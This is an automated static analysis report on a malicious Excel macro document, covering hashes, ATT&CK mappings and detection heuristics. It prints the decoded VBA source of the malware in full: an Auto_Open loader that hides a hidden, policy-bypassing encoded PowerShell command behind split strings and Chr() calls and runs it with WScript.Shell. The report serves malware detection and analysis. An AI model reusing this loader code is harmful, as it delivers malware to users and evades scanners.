Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 14699ee184759a45…

MALICIOUS

Office (OLE)

53.0 KB Created: 2017-02-07 21:12:52 Authoring application: Microsoft Macintosh Excel First seen: 2019-05-16
MD5: 33484c026f150f9d6a3a973d95c4e73b SHA-1: bb1b5ff07fe4ce4b6f38b153d97c0ffd6e925c17 SHA-256: 14699ee184759a4567022e326c00927efbde994b2b078ecf6269caa7e974a947
300 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1566.001 Spearphishing Attachment

This Office document contains an Auto_Open VBA macro that is heavily obfuscated and uses CreateObject to instantiate a WsCript.Shell object. The script then reconstructs and executes a PowerShell command: 'powershell.exe -nop -noni -windowstyle hidden -exec bypass -enc ' followed by obfuscated data, indicating it's designed to download and execute a second-stage payload. The presence of an Auto_Open macro and the instruction to enable macros are common lures for spearphishing attachments.

Heuristics 7

  • ClamAV: Xls.Malware.Valyria-6735731-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-6735731-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1665 bytes
SHA-256: e114e599d6662fa794cb6278930219105d05b9c2ab9f3d87e8b02db5d92321a5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub Auto_Open()

    Call MUBHTXha

End Sub


Function GetVal(sr As Long, er As Long, c As Long)
    Dim x
    For i = sr To er
        x = x + Cells(i, c)
    Next
    GetVal = x
End Function


Function rndname()
    Dim r As String
    Dim i As Integer
     
    For i = 1 To 8
        If i Mod 2 = 0 Then
            r = Chr(Int((90 - 65 + 1) * Rnd + 65)) & r
        Else
            r = Int((9 * Rnd) + 1) & r
        End If
    Next i
    rndname = r
End Function


Sub MUBHTXha()
    Dim x, c As String
    x = GetVal(3405, 3405, 186)
    c = "poW" & Chr(101) & Chr(114) & Chr(83) & Chr(104) & Chr(101) & Chr(76) & "l.eXe -nop -noni " & _
    "-win" & Chr(100) & Chr(111) & Chr(119) & Chr(115) & Chr(116) & Chr(121) & Chr(108) & Chr(101) & Chr(32) & Chr(104) & Chr(105) & Chr(100) & _
    "den " & Chr(45) & Chr(101) & Chr(120) & Chr(101) & Chr(99) & Chr(32) & Chr(98) & Chr(121) & Chr(112) & Chr(97) & Chr(115) & Chr(115) & "" & _
    " -e" & "nc " & x
    Set s = CreateObject("WsCrip" & "t." & "Sh" & "ell")
    s.Run c, 0
End Sub

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